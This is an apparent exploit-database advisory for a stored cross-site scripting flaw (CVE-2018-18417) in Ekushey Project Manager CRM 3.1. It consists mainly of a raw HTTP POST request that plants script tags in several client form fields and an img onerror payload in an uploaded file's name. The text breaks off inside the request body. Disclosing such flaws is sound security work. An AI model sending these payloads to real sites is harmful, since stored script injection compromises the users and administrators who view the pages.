Ekushey Project Manager CRM 3.1 - Cross-Site Scripting

# Exploit Title: Ekushey Project Manager CRM 3.1 - Cross-Site Scripting
# Date: 2018-10-16
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: http://creativeitem.com/
# Software Link : http://creativeitem.com/demo/ekushey/
# Software : Ekushey Project Manager CRM
# Version : 3.1
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# CVE : CVE-2018-18417

# In the 3.1 version of Ekushey Project Manager CRM, Stored XSS has been discovered in the input and upload
# sections, as demonstrated by the name parameter to the index.php/admin/client/create URI.
 
# HTTP POST Request :

POST /demo/ekushey/index.php/admin/client/create HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://TARGET/demo/ekushey/index.php/admin/client
Content-Type: multipart/form-data; boundary=---------------------------19725691145690149721005243204
Content-Length: 1576033
Cookie: ci_session=bvug3n8aq64rpuft843qq986fhl077vq
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------19725691145690149721005243204
Content-Disposition: form-data; name="name"

"><script>alert("ismailtasdelen")</script>
-----------------------------19725691145690149721005243204
Content-Disposition: form-data; name="email"

[email protected]
-----------------------------19725691145690149721005243204
Content-Disposition: form-data; name="password"

Passw0rd
-----------------------------19725691145690149721005243204
Content-Disposition: form-data; name="address"

"><script>alert("ismailtasdelen")</script>
-----------------------------19725691145690149721005243204
Content-Disposition: form-data; name="phone"

+100200300205
-----------------------------19725691145690149721005243204
Content-Disposition: form-data; name="website"

https://ismailtasdelen.me
-----------------------------19725691145690149721005243204
Content-Disposition: form-data; name="skype_id"

ismailtasdelen
-----------------------------19725691145690149721005243204
Content-Disposition: form-data; name="facebook_profile_link"

ismailtasdelen
-----------------------------19725691145690149721005243204
Content-Disposition: form-data; name="linkedin_profile_link"

ismailtasdelen
-----------------------------19725691145690149721005243204
Content-Disposition: form-data; name="twitter_profile_link"

ismailtasdelen
-----------------------------19725691145690149721005243204
Content-Disposition: form-data; name="short_note"

"><script>alert("ismailtasdelen")</script>
-----------------------------19725691145690149721005243204
Content-Disposition: form-data; name="userfile"; filename="\"><img src=x onerror=alert(\"ismailtasdelen\")>.jpg"
Content-Type: image/jpeg